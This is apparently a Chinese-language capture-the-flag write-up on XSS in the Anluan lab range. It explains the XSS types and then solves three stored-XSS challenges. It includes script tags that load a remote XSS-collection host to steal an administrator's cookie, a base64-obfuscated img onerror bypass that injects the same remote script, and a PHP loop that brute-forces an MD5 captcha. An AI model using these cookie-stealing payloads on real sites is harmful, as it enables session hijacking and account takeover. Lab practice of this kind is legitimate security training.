安鸾靶场之XSS漏洞实操
当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性,而不是缺陷。会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害。
XSS类型
1、反射型
出现在搜索栏,用户登录等地方,常用来窃取客户端的Cookie进行钓鱼欺骗。(需要用户去点击)
想要窃取cookie要满足两个条件:
1、用户点击攻击者构造的URL
2、访问被攻击的应用服务(即存在xss的网站)
2、存储型
出现在留言、评论、博客日志等交互处,直接影响Web服务器自身安全。攻击者将恶意代码存储到服务器上,只要诱使受害者访问被插入恶意代码的页面即可触发。
3、DOM型
DOM 型 XSS是基于文档对象模型(Document Objeet Model,DOM,用于将 Web 页面与脚本语言连接起来的标准编程接口)的一种漏洞,它不经过服务端,而是通过 URL 传入参数去触发,因此也属于反射型 XSS。
安鸾靶场实操
1、存储型XSS
111</textarea><script>alert("xss")</script>>
按F12查看页面代码,即可看到插入的恶意js代码,没有经过任何处理直接返回了,并且在用户访问此页面时,会自动触发
由此,此处留言板存在存储型XSS漏洞。由题可知,管理员每5分钟会上线,并访问此页面清除数据。所以我们可以利用XSS平台获取到管理员的cookie,并登录。
进入管理员用户页面,即可找到flag
2、交友平台
当插入代码</textarea><script>alert("xss")</script>
时,会触发弹窗,所以此处存在存储型XSS漏洞。
将以下代码提交,使xss平台能获取到管理员的cookie再把此页面的url提交到bug反馈中,此时我们看到,需要验证码,且验证码进行md5加密之后的前六位等于a1c3e9
</textarea><script src=https://xss9.com/217l></script>
此时我们使用php脚本来撞验证码
<?php
for ($i=1; $i<=99999999; $i++){
if (substr(md5($i), 0, 6)=="a1c3e9"){
echo $i.PHP_EOL;
}
}
?>
结果如下,随便取一个值填入,等待一分钟即可获取到管理员的cookie,登陆管理员账号就可找到cookie
3、XSS挖掘与绕过
登录进去,给管理员私信,首先我们发送</textarea><script>alert("xss")</script>
来验证是否存在XSS漏洞,发现代码被过滤
由此我们看出来后端在处理传入的参数时,过滤了script,在sc和rpt之间插入了其他字符,但我们可以使用img标签绕过
</textarea<img src=1 οnerrοr=alert("xss");>
正常显示弹框
此时我们可以利用img标签来构造
<img src=x οnerrοr=eval(atob('s=createElement('script');body.appendChild(s);s.src='https://xss9.com/217l'+Math.random()'))>
<img src=x οnerrοr=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzczkuY29tLzIxN2wnK01hdGgucmFuZG9tKCk='))>
将经过编码的恶意代码私信给管理员,等待5分钟即可在xss平台获取到管理员的cookie,就可登陆后台寻找flag